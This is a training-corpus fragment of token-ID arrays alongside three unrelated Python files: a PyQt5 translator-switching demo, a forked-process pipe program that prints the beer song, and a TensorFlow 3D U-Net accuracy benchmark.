29967, 14628, 352, 12293, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29946, 29896, 29955, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29906, 29953, 29953, 29896, 29892, 376, 12957, 1115, 448, 29896, 29946, 29889, 29906, 29945, 29929, 29892, 376, 978, 1115, 376, 29943, 4758, 30189, 279, 354, 29875, 30189, 29875, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29946, 29906, 29941, 29947, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29946, 29945, 29955, 29892, 376, 12957, 1115, 448, 29896, 29945, 29889, 29945, 29947, 29945, 29945, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29946, 29941, 29906, 29953, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29945, 29945, 29947, 29941, 29892, 376, 12957, 1115, 448, 29896, 29953, 29889, 29900, 29896, 29896, 29941, 29892, 376, 978, 1115, 376, 29933, 275, 2120, 567, 29882, 2464, 29879, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29946, 29941, 29946, 29947, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29945, 29929, 29946, 29955, 29892, 376, 12957, 1115, 448, 29896, 29945, 29889, 29941, 29896, 29945, 29947, 29892, 376, 978, 1115, 376, 29963, 459, 1056, 29888, 4758, 30189, 279, 354, 29875, 30189, 29875, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29946, 29941, 29947, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29945, 29953, 29906, 29941, 29892, 376, 12957, 1115, 448, 29896, 29941, 29889, 29929, 29947, 29929, 29955, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29946, 29946, 29896, 29941, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29953, 29945, 29955, 29953, 29892, 376, 12957, 1115, 448, 29896, 29953, 29889, 29945, 29900, 29900, 29953, 29892, 376, 978, 1115, 376, 29924, 30052, 9046, 1983, 1340, 30078, 7241, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29946, 29946, 29945, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29953, 29945, 29955, 29896, 29892, 376, 12957, 1115, 448, 29896, 29945, 29889, 29896, 29953, 29945, 29906, 29892, 376, 978, 1115, 376, 29950, 585, 2039, 5173, 30189, 381, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29946, 29945, 29945, 29929, 29892, 376, 5066, 1115, 29871, 29953, 29945, 29889, 29947, 29929, 29896, 29946, 29892, 376, 12957, 1115, 448, 29896, 29946, 29889, 29947, 29906, 29945, 29941, 29892, 376, 978, 1115, 376, 29903, 392, 9584, 23843, 354, 29875, 30189, 29875, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29946, 29955, 29900, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29896, 29946, 29947, 29955, 29892, 376, 12957, 1115, 448, 29896, 29953, 29889, 29929, 29955, 29945, 29906, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29946, 29955, 29941, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29906, 29929, 29947, 29946, 29892, 376, 12957, 1115, 448, 29896, 29945, 29889, 29947, 29929, 29941, 29941, 29892, 376, 978, 1115, 376, 29950, 29980, 29888, 1278, 279, 30189, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29946, 29955, 29941, 29941, 29892, 376, 5066, 1115, 29871, 29953, 29953, 29889, 29906, 29945, 29941, 29906, 29892, 376, 12957, 1115, 448, 29896, 29945, 29889, 29947, 29896, 29953, 29896, 29892, 376, 978, 1115, 376, 29950, 2464, 29879, 279, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29945, 29896, 29896, 29953, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29896, 29947, 29946, 29947, 29892, 376, 12957, 1115, 448, 29896, 29945, 29889, 29947, 29896, 29946, 29945, 29892, 376, 978, 1115, 376, 29933, 990, 279, 13238, 9144, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29945, 29941, 29900, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29929, 29941, 29947, 29955, 29892, 376, 12957, 1115, 448, 29896, 29953, 29889, 29955, 29929, 29945, 29929, 29892, 376, 978, 1115, 376, 30094, 29878, 30078, 7241, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29945, 29941, 29896, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29929, 29945, 29929, 29953, 29892, 376, 12957, 1115, 448, 29896, 29953, 29889, 29946, 29906, 29946, 29946, 29892, 376, 978, 1115, 9872, 5813, 29958, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29945, 29953, 29953, 29953, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29946, 29900, 29955, 29946, 29892, 376, 12957, 1115, 448, 29896, 29946, 29889, 29945, 29941, 29929, 29941, 29892, 376, 978, 1115, 376, 29950, 791, 4515, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29945, 29955, 29953, 29929, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29953, 29945, 29945, 29947, 29892, 376, 12957, 1115, 448, 29896, 29946, 29889, 29946, 29945, 29906, 29955, 29892, 376, 978, 1115, 376, 29950, 314, 1503, 29888, 24900, 30189, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29945, 29947, 29947, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29955, 29896, 29929, 29929, 29892, 376, 12957, 1115, 448, 29896, 29946, 29889, 29900, 29941, 29953, 29941, 29892, 376, 978, 1115, 376, 855, 276, 4812, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29945, 29947, 29947, 29946, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29955, 29929, 29947, 29896, 29892, 376, 12957, 1115, 448, 29896, 29941, 29889, 29947, 29929, 29900, 29896, 29892, 376, 978, 1115, 376, 29968, 1117, 1278, 374, 30189, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29945, 29929, 29953, 29941, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29947, 29906, 29945, 29955, 29892, 376, 12957, 1115, 448, 29896, 29946, 29889, 29953, 29945, 29955, 29941, 29892, 376, 978, 1115, 376, 30094, 5389, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29945, 29929, 29953, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29929, 29900, 29953, 29947, 29892, 376, 12957, 1115, 448, 29896, 29946, 29889, 29953, 29900, 29941, 29946, 29892, 376, 978, 1115, 376, 29933, 5803, 30189, 29881, 1338, 354, 29875, 30189, 29875, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29945, 29929, 29947, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29947, 29929, 29945, 29953, 29892, 376, 12957, 1115, 448, 29896, 29941, 29889, 29947, 29945, 29946, 29955, 29892, 376, 978, 1115, 376, 29963, 23576, 26120, 30189, 29875, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29953, 29900, 29946, 29929, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29946, 29945, 29906, 29896, 29892, 376, 12957, 1115, 448, 29896, 29929, 29889, 29900, 29941, 29955, 29947, 29892, 376, 978, 1115, 376, 1123, 948, 4492, 29926, 497, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29953, 29896, 29906, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29953, 29906, 29896, 29953, 29892, 376, 12957, 1115, 448, 29906, 29900, 29889, 29900, 29906, 29947, 29945, 29892, 376, 978, 1115, 376, 9802, 279, 1579, 29926, 15827, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29953, 29896, 29906, 29955, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29945, 29955, 29947, 29946, 29892, 376, 12957, 1115, 448, 29896, 29929, 29889, 29929, 29900, 29896, 29953, 29892, 376, 978, 1115, 376, 29950, 29894, 4850, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29953, 29896, 29941, 29906, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29945, 29946, 29906, 29929, 29892, 376, 12957, 1115, 448, 29896, 29929, 29889, 29953, 29929, 29900, 29953, 29892, 376, 978, 1115, 376, 7789, 18220, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29953, 29896, 29945, 29953, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29946, 29953, 29953, 29896, 29892, 376, 12957, 1115, 448, 29896, 29947, 29889, 29953, 29900, 29946, 29946, 29892, 376, 978, 1115, 376, 29924, 30052, 5499, 284, 893, 392, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29953, 29906, 29955, 29900, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29955, 29941, 29941, 29947, 29892, 376, 12957, 1115, 448, 29896, 29947, 29889, 29896, 29929, 29955, 29955, 29892, 376, 978, 1115, 376, 29923, 430, 29882, 336, 348, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29953, 29941, 29900, 29947, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29929, 29941, 29900, 29953, 29892, 376, 12957, 1115, 448, 29906, 29900, 29889, 29953, 29953, 29945, 29941, 29892, 376, 978, 1115, 376, 30452, 29926, 29980, 2288, 3054, 1182, 30030, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29953, 29941, 29947, 29953, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29929, 29945, 29955, 29945, 29892, 376, 12957, 1115, 448, 29896, 29955, 29889, 29945, 29945, 29945, 29892, 376, 978, 1115, 376, 29931, 15250, 4211, 30030, 15503, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29953, 29941, 29929, 29896, 29892, 376, 5066, 1115, 29871, 29953, 29941, 29889, 29929, 29941, 29953, 29906, 29892, 376, 12957, 1115, 448, 29896, 29955, 29889, 29941, 29945, 29900, 29941, 29892, 376, 978, 1115, 376, 29954, 29983, 29887, 29926, 2679, 9584, 2536, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29953, 29946, 29896, 29896, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29896, 29941, 29906, 29941, 29892, 376, 12957, 1115, 448, 29906, 29900, 29889, 29945, 29941, 29900, 29947, 29892, 376, 978, 1115, 376, 15797, 2464, 5391, 29873, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29953, 29946, 29896, 29945, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29896, 29945, 29955, 29945, 29892, 376, 12957, 1115, 448, 29906, 29900, 29889, 29941, 29953, 29955, 29945, 29892, 376, 978, 1115, 376, 12432, 30078, 30189, 3605, 686, 15008, 29887, 332, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29953, 29945, 29900, 29946, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29906, 29900, 29896, 29947, 29892, 376, 12957, 1115, 448, 29906, 29900, 29889, 29947, 29900, 29953, 29906, 29892, 376, 978, 1115, 376, 29931, 29891, 865, 29881, 1338, 354, 29875, 30189, 29875, 10758, 13, 1678, 8853, 333, 1115, 29871, 29941, 29953, 29945, 29896, 29929, 29892, 376, 5066, 1115, 29871, 29953, 29946, 29889, 29941, 29900, 29955, 29955, 29892, 376, 12957, 1115, 448, 29906, 29900, 29889, 29906, 29896, 29896, 29929, 29892, 376, 978, 1115, 376, 29954, 913, 29888, 2209, 10758, 13, 29962, 13, 2 ]
questions/53349623/main.py
sesu089/stackoverflow
302
2893
<gh_stars>100-1000 import sys from PyQt5 import QtCore, QtGui, QtWidgets class Demo(QtWidgets.QWidget): def __init__(self): super(Demo, self).__init__() self.button = QtWidgets.QPushButton() self.label = QtWidgets.QLabel(alignment=QtCore.Qt.AlignCenter) self.combo = QtWidgets.QComboBox(self) self.combo.currentIndexChanged.connect(self.change_func) self.trans = QtCore.QTranslator(self) self.v_layout = QtWidgets.QVBoxLayout(self) self.v_layout.addWidget(self.combo) self.v_layout.addWidget(self.button) self.v_layout.addWidget(self.label) options = ([('English', ''), ('français', 'eng-fr' ), ('中文', 'eng-chs'), ]) for i, (text, lang) in enumerate(options): self.combo.addItem(text) self.combo.setItemData(i, lang) self.retranslateUi() @QtCore.pyqtSlot(int) def change_func(self, index): data = self.combo.itemData(index) if data: self.trans.load(data) QtWidgets.QApplication.instance().installTranslator(self.trans) else: QtWidgets.QApplication.instance().removeTranslator(self.trans) def changeEvent(self, event): if event.type() == QtCore.QEvent.LanguageChange: self.retranslateUi() super(Demo, self).changeEvent(event) def retranslateUi(self): self.button.setText(QtWidgets.QApplication.translate('Demo', 'Start')) self.label.setText(QtWidgets.QApplication.translate('Demo', 'Hello, World')) if __name__ == '__main__': app = QtWidgets.QApplication(sys.argv) demo = Demo() demo.show() sys.exit(app.exec_())
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29900, 29900, 29899, 29896, 29900, 29900, 29900, 13, 5215, 10876, 13, 3166, 10772, 17303, 29945, 1053, 14705, 9203, 29892, 14705, 28707, 29892, 14705, 8801, 29879, 13, 13, 13, 1990, 27819, 29898, 17303, 8801, 29879, 29889, 29984, 8801, 1125, 13, 1678, 822, 4770, 2344, 12035, 1311, 1125, 13, 4706, 2428, 29898, 23444, 29892, 1583, 467, 1649, 2344, 1649, 580, 13, 4706, 1583, 29889, 3092, 353, 14705, 8801, 29879, 29889, 29984, 27031, 3125, 580, 13, 4706, 1583, 29889, 1643, 353, 14705, 8801, 29879, 29889, 2239, 1107, 29898, 2520, 358, 29922, 17303, 9203, 29889, 17303, 29889, 2499, 647, 13409, 29897, 13, 13, 4706, 1583, 29889, 510, 833, 353, 14705, 8801, 29879, 29889, 29984, 26628, 29898, 1311, 29897, 13, 4706, 1583, 29889, 510, 833, 29889, 3784, 3220, 7590, 29889, 6915, 29898, 1311, 29889, 3167, 29918, 9891, 29897, 13, 13, 4706, 1583, 29889, 3286, 353, 14705, 9203, 29889, 29984, 4300, 29880, 1061, 29898, 1311, 29897, 13, 13, 4706, 1583, 29889, 29894, 29918, 2680, 353, 14705, 8801, 29879, 29889, 29984, 29963, 3313, 3453, 29898, 1311, 29897, 13, 4706, 1583, 29889, 29894, 29918, 2680, 29889, 1202, 8801, 29898, 1311, 29889, 510, 833, 29897, 13, 4706, 1583, 29889, 29894, 29918, 2680, 29889, 1202, 8801, 29898, 1311, 29889, 3092, 29897, 13, 4706, 1583, 29889, 29894, 29918, 2680, 29889, 1202, 8801, 29898, 1311, 29889, 1643, 29897, 13, 13, 4706, 3987, 353, 9310, 877, 24636, 742, 525, 5477, 6702, 16799, 6899, 742, 525, 996, 29899, 1341, 29915, 10353, 6702, 30275, 30333, 742, 525, 996, 29899, 12168, 5477, 29871, 2314, 13, 308, 13, 4706, 363, 474, 29892, 313, 726, 29892, 6361, 29897, 297, 26985, 29898, 6768, 1125, 13, 308, 12, 1311, 29889, 510, 833, 29889, 1202, 2001, 29898, 726, 29897, 13, 308, 12, 1311, 29889, 510, 833, 29889, 842, 2001, 1469, 29898, 29875, 29892, 6361, 29897, 13, 4706, 1583, 29889, 276, 21652, 29965, 29875, 580, 13, 13, 1678, 732, 17303, 9203, 29889, 2272, 17915, 29903, 8276, 29898, 524, 29897, 13, 1678, 822, 1735, 29918, 9891, 29898, 1311, 29892, 2380, 1125, 13, 4706, 848, 353, 1583, 29889, 510, 833, 29889, 667, 1469, 29898, 2248, 29897, 13, 4706, 565, 848, 29901, 13, 9651, 1583, 29889, 3286, 29889, 1359, 29898, 1272, 29897, 13, 9651, 14705, 8801, 29879, 29889, 29984, 4873, 29889, 8758, 2141, 6252, 4300, 29880, 1061, 29898, 1311, 29889, 3286, 29897, 13, 4706, 1683, 29901, 13, 9651, 14705, 8801, 29879, 29889, 29984, 4873, 29889, 8758, 2141, 5992, 4300, 29880, 1061, 29898, 1311, 29889, 3286, 29897, 13, 13, 1678, 822, 1735, 2624, 29898, 1311, 29892, 1741, 1125, 13, 4706, 565, 1741, 29889, 1853, 580, 1275, 14705, 9203, 29889, 29984, 2624, 29889, 21233, 7277, 29901, 13, 9651, 1583, 29889, 276, 21652, 29965, 29875, 580, 13, 4706, 2428, 29898, 23444, 29892, 1583, 467, 3167, 2624, 29898, 3696, 29897, 13, 13, 1678, 822, 337, 21652, 29965, 29875, 29898, 1311, 1125, 13, 4706, 1583, 29889, 3092, 29889, 12038, 29898, 17303, 8801, 29879, 29889, 29984, 4873, 29889, 21652, 877, 23444, 742, 525, 4763, 8785, 13, 4706, 1583, 29889, 1643, 29889, 12038, 29898, 17303, 8801, 29879, 29889, 29984, 4873, 29889, 21652, 877, 23444, 742, 525, 10994, 29892, 2787, 8785, 13, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 623, 353, 14705, 8801, 29879, 29889, 29984, 4873, 29898, 9675, 29889, 19218, 29897, 13, 1678, 13455, 353, 27819, 580, 13, 1678, 13455, 29889, 4294, 580, 13, 1678, 10876, 29889, 13322, 29898, 932, 29889, 4258, 29918, 3101, 2 ]
pipe1.py
preethamsridhar/advancedPython
1
1606712
<reponame>preethamsridhar/advancedPython # -*- coding: utf-8 -*- """ Created on Wed May 1 17:52:41 2019 @author: preet """ import os def child(pipeout): bottles = 99 while True: bob = "bottle of beer" otw = "on the wall" take1 = "Take one down and pass it around" store = "Go to the store and buy some more" if bottles > 0: values = (bottles, bob , otw, bottles, bob, take1, bottles - 1, bob, otw) verse = "%2d %s %s,\n%2d %s.\n%s,\n%2d %s %s." % values os.write(pipeout, verse) bottles -= 1 else: bottles = 99 values = (bob, otw, bob, store, bottles, bob,otw) verse = "No more %s %s,\nno more %s.\n%s,\n%2d %s %s." % values os.write(pipeout, verse) def parent(): pipein, pipeout = os.pipe() if os.fork() == 0: child(pipeout) else: counter = 1 while True: if counter % 100: verse = os.read(pipein, 117) else: verse = os.read(pipein, 128) print("verse %d\n%s\n" %(counter, verse)) counter += 1 parent()
[ 1, 529, 276, 1112, 420, 29958, 1457, 621, 2232, 2429, 8222, 29914, 328, 16858, 11980, 13, 29937, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 15945, 29908, 13, 20399, 373, 15050, 2610, 259, 29896, 29871, 29896, 29955, 29901, 29945, 29906, 29901, 29946, 29896, 29871, 29906, 29900, 29896, 29929, 13, 13, 29992, 8921, 29901, 758, 300, 13, 15945, 29908, 13, 13, 5215, 2897, 13, 13, 1753, 2278, 29898, 17760, 449, 1125, 13, 1678, 18046, 793, 353, 29871, 29929, 29929, 13, 1678, 1550, 5852, 29901, 13, 4706, 289, 711, 353, 376, 29890, 1501, 280, 310, 367, 261, 29908, 13, 4706, 4932, 29893, 353, 376, 265, 278, 10090, 29908, 13, 4706, 2125, 29896, 353, 376, 26772, 697, 1623, 322, 1209, 372, 2820, 29908, 13, 4706, 3787, 353, 376, 8120, 304, 278, 3787, 322, 15649, 777, 901, 29908, 13, 308, 13, 4706, 565, 18046, 793, 1405, 29871, 29900, 29901, 13, 9651, 1819, 353, 313, 29890, 1501, 793, 29892, 289, 711, 1919, 4932, 29893, 29892, 18046, 793, 29892, 289, 711, 29892, 2125, 29896, 29892, 18046, 793, 448, 29871, 29896, 29892, 289, 711, 29892, 4932, 29893, 29897, 13, 9651, 23281, 353, 11860, 29906, 29881, 1273, 29879, 1273, 29879, 2053, 29876, 29995, 29906, 29881, 1273, 29879, 7790, 29876, 29995, 29879, 2053, 29876, 29995, 29906, 29881, 1273, 29879, 1273, 29879, 1213, 1273, 1819, 13, 9651, 2897, 29889, 3539, 29898, 17760, 449, 29892, 23281, 29897, 13, 9651, 18046, 793, 22361, 29871, 29896, 13, 4706, 1683, 29901, 13, 9651, 18046, 793, 353, 29871, 29929, 29929, 13, 9651, 1819, 353, 313, 29890, 711, 29892, 4932, 29893, 29892, 289, 711, 29892, 3787, 29892, 18046, 793, 29892, 289, 711, 29892, 327, 29893, 29897, 13, 9651, 23281, 353, 376, 3782, 901, 1273, 29879, 1273, 29879, 2053, 29876, 1217, 901, 1273, 29879, 7790, 29876, 29995, 29879, 2053, 29876, 29995, 29906, 29881, 1273, 29879, 1273, 29879, 1213, 1273, 1819, 13, 9651, 2897, 29889, 3539, 29898, 17760, 449, 29892, 23281, 29897, 13, 308, 13, 1753, 3847, 7295, 13, 1678, 14282, 262, 29892, 14282, 449, 353, 2897, 29889, 17760, 580, 13, 268, 13, 1678, 565, 2897, 29889, 29888, 548, 580, 1275, 29871, 29900, 29901, 13, 4706, 2278, 29898, 17760, 449, 29897, 13, 1678, 1683, 29901, 13, 4706, 6795, 353, 29871, 29896, 13, 4706, 1550, 5852, 29901, 13, 9651, 565, 6795, 1273, 29871, 29896, 29900, 29900, 29901, 13, 18884, 23281, 353, 2897, 29889, 949, 29898, 17760, 262, 29892, 29871, 29896, 29896, 29955, 29897, 13, 9651, 1683, 29901, 13, 18884, 23281, 353, 2897, 29889, 949, 29898, 17760, 262, 29892, 29871, 29896, 29906, 29947, 29897, 13, 9651, 1596, 703, 3901, 1273, 29881, 29905, 29876, 29995, 29879, 29905, 29876, 29908, 1273, 29898, 11808, 29892, 23281, 876, 13, 9651, 6795, 4619, 29871, 29896, 13, 632, 13, 3560, 580, 2 ]
official/benchmark/unet3d_benchmark.py
gitlost-murali/models
2
25983
# Lint as: python3 # Copyright 2020 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Executes benchmark testing for 3D Unet model.""" # pylint: disable=line-too-long from __future__ import print_function import functools import os import time from typing import Optional from absl import flags import tensorflow as tf # pylint: disable=g-bad-import-order from official.benchmark import benchmark_wrappers from official.benchmark import keras_benchmark from official.benchmark import owner_utils from official.vision.segmentation import unet_main as unet_training_lib from official.vision.segmentation import unet_model as unet_model_lib UNET3D_MIN_ACCURACY = 0.90 UNET3D_MAX_ACCURACY = 0.98 UNET_TRAINING_FILES = 'gs://mlcompass-data/unet3d/train_data/*' UNET_EVAL_FILES = 'gs://mlcompass-data/unet3d/eval_data/*' UNET_MODEL_CONFIG_FILE = 'gs://mlcompass-data/unet3d/config/unet_config.yaml' FLAGS = flags.FLAGS class Unet3DAccuracyBenchmark(keras_benchmark.KerasBenchmark): """Benchmark accuracy tests for UNet3D model in Keras.""" def __init__(self, output_dir: Optional[str] = None, root_data_dir: Optional[str] = None, **kwargs): """A benchmark class. Args: output_dir: directory where to output e.g. log files root_data_dir: directory under which to look for dataset **kwargs: arbitrary named arguments. This is needed to make the constructor forward compatible in case PerfZero provides more named arguments before updating the constructor. """ flag_methods = [unet_training_lib.define_unet3d_flags] # UNet3D model in Keras.""" self.training_file_pattern = UNET_TRAINING_FILES self.eval_file_pattern = UNET_EVAL_FILES # TODO(hongjunchoi): Create and use shared config file instead. self.config_file = UNET_MODEL_CONFIG_FILE super(Unet3DAccuracyBenchmark, self).__init__( output_dir=output_dir, flag_methods=flag_methods) def _set_benchmark_parameters(self, experiment_name): """Overrides training parameters for benchmark tests.""" FLAGS.model_dir = self._get_model_dir(experiment_name) FLAGS.mode = 'train' FLAGS.training_file_pattern = self.training_file_pattern FLAGS.eval_file_pattern = self.eval_file_pattern FLAGS.config_file = self.config_file FLAGS.lr_init_value = 0.00005 FLAGS.lr_decay_rate = 0.5 FLAGS.epochs = 3 @benchmark_wrappers.enable_runtime_flags def _run_and_report_benchmark(self, experiment_name: str, min_accuracy: float = UNET3D_MIN_ACCURACY, max_accuracy: float = UNET3D_MAX_ACCURACY, distribution_strategy: str = 'tpu', epochs: int = 10, steps: int = 0, epochs_between_evals: int = 1, dtype: str = 'float32', enable_xla: bool = False, run_eagerly: bool = False): """Runs and reports the benchmark given the provided configuration.""" params = unet_training_lib.extract_params(FLAGS) strategy = unet_training_lib.create_distribution_strategy(params) input_dtype = params.dtype if input_dtype == 'float16' or input_dtype == 'bfloat16': policy = tf.keras.mixed_precision.experimental.Policy( 'mixed_bfloat16' if input_dtype == 'bfloat16' else 'mixed_float16') tf.keras.mixed_precision.experimental.set_policy(policy) stats = {} start_time_sec = time.time() with strategy.scope(): unet_model = unet_model_lib.build_unet_model(params) history = unet_training_lib.train( params, strategy, unet_model, functools.partial(unet_training_lib.get_train_dataset, params), functools.partial(unet_training_lib.get_eval_dataset, params)) stats['accuracy_top_1'] = history.history['val_metric_accuracy'][-1] stats['training_accuracy_top_1'] = history.history['metric_accuracy'][-1] wall_time_sec = time.time() - start_time_sec super(Unet3DAccuracyBenchmark, self)._report_benchmark( stats, wall_time_sec, top_1_min=min_accuracy, top_1_max=max_accuracy, total_batch_size=params.train_batch_size) def _get_model_dir(self, folder_name): return os.path.join(self.output_dir, folder_name) @owner_utils.Owner('tf-model-garden') def benchmark_4x4_tpu_bf16(self): """Test Keras model with 4x4 TPU, fp16.""" experiment_name = 'benchmark_4x4_tpu_fp16' self._setup() self._set_benchmark_parameters(experiment_name) self._run_and_report_benchmark( experiment_name=experiment_name, dtype='bfloat16', distribution_strategy='tpu') @owner_utils.Owner('tf-graph-compiler') def benchmark_4x4_tpu_bf16_mlir(self): """Test Keras model with 4x4 TPU, fp16 and MLIR enabled.""" experiment_name = 'benchmark_4x4_tpu_fp16_mlir' tf.config.experimental.enable_mlir_bridge() self._setup() self._set_benchmark_parameters(experiment_name) self._run_and_report_benchmark( experiment_name=experiment_name, dtype='bfloat16', distribution_strategy='tpu') if __name__ == '__main__': tf.test.main()
[ 1, 396, 365, 524, 408, 29901, 3017, 29941, 13, 29937, 14187, 1266, 29871, 29906, 29900, 29906, 29900, 450, 323, 6073, 17907, 13189, 943, 29889, 2178, 26863, 2538, 9841, 29889, 13, 29937, 13, 29937, 10413, 21144, 1090, 278, 13380, 19245, 29892, 10079, 29871, 29906, 29889, 29900, 313, 1552, 376, 29931, 293, 1947, 1496, 13, 29937, 366, 1122, 451, 671, 445, 934, 5174, 297, 752, 13036, 411, 278, 19245, 29889, 13, 29937, 887, 1122, 4017, 263, 3509, 310, 278, 19245, 472, 13, 29937, 13, 29937, 268, 1732, 597, 1636, 29889, 4288, 29889, 990, 29914, 506, 11259, 29914, 27888, 1430, 1660, 29899, 29906, 29889, 29900, 13, 29937, 13, 29937, 25870, 3734, 491, 22903, 4307, 470, 15502, 304, 297, 5007, 29892, 7047, 13, 29937, 13235, 1090, 278, 19245, 338, 13235, 373, 385, 376, 3289, 8519, 29908, 350, 3289, 3235, 29892, 13, 29937, 399, 1806, 8187, 2692, 399, 1718, 29934, 13566, 29059, 6323, 8707, 29928, 22122, 29903, 8079, 13764, 29979, 476, 22255, 29892, 2845, 4653, 470, 2411, 2957, 29889, 13, 29937, 2823, 278, 19245, 363, 278, 2702, 4086, 14765, 1076, 11239, 322, 13, 29937, 27028, 1090, 278, 19245, 29889, 13, 29937, 1275, 9166, 9166, 9166, 9166, 4936, 2751, 13, 15945, 29908, 5379, 2667, 23513, 6724, 363, 29871, 29941, 29928, 853, 300, 1904, 1213, 15945, 13, 29937, 282, 2904, 524, 29901, 11262, 29922, 1220, 29899, 517, 29877, 29899, 5426, 13, 3166, 4770, 29888, 9130, 1649, 1053, 1596, 29918, 2220, 13, 13, 5215, 2090, 312, 8789, 13, 5215, 2897, 13, 5215, 931, 13, 3166, 19229, 1053, 28379, 13, 3166, 633, 2536, 1053, 13449, 13, 5215, 26110, 408, 15886, 29871, 396, 282, 2904, 524, 29901, 11262, 29922, 29887, 29899, 12313, 29899, 5215, 29899, 2098, 13, 13, 3166, 6221, 29889, 1785, 16580, 1053, 23513, 29918, 29893, 336, 22437, 13, 3166, 6221, 29889, 1785, 16580, 1053, 13023, 294, 29918, 1785, 16580, 13, 3166, 6221, 29889, 1785, 16580, 1053, 12271, 29918, 13239, 13, 3166, 6221, 29889, 4924, 29889, 28192, 362, 1053, 443, 300, 29918, 3396, 408, 443, 300, 29918, 26495, 29918, 1982, 13, 3166, 6221, 29889, 4924, 29889, 28192, 362, 1053, 443, 300, 29918, 4299, 408, 443, 300, 29918, 4299, 29918, 1982, 13, 13, 3904, 2544, 29941, 29928, 29918, 16173, 29918, 2477, 22484, 2477, 29979, 353, 29871, 29900, 29889, 29929, 29900, 13, 3904, 2544, 29941, 29928, 29918, 12648, 29918, 2477, 22484, 2477, 29979, 353, 29871, 29900, 29889, 29929, 29947, 13, 3904, 2544, 29918, 29911, 4717, 1177, 4214, 29918, 24483, 353, 525, 3174, 597, 828, 2388, 465, 29899, 1272, 29914, 348, 300, 29941, 29881, 29914, 14968, 29918, 1272, 5515, 29915, 13, 3904, 2544, 29918, 29923, 8932, 29918, 24483, 353, 525, 3174, 597, 828, 2388, 465, 29899, 1272, 29914, 348, 300, 29941, 29881, 29914, 14513, 29918, 1272, 5515, 29915, 13, 3904, 2544, 29918, 20387, 29931, 29918, 25903, 29918, 7724, 353, 525, 3174, 597, 828, 2388, 465, 29899, 1272, 29914, 348, 300, 29941, 29881, 29914, 2917, 29914, 348, 300, 29918, 2917, 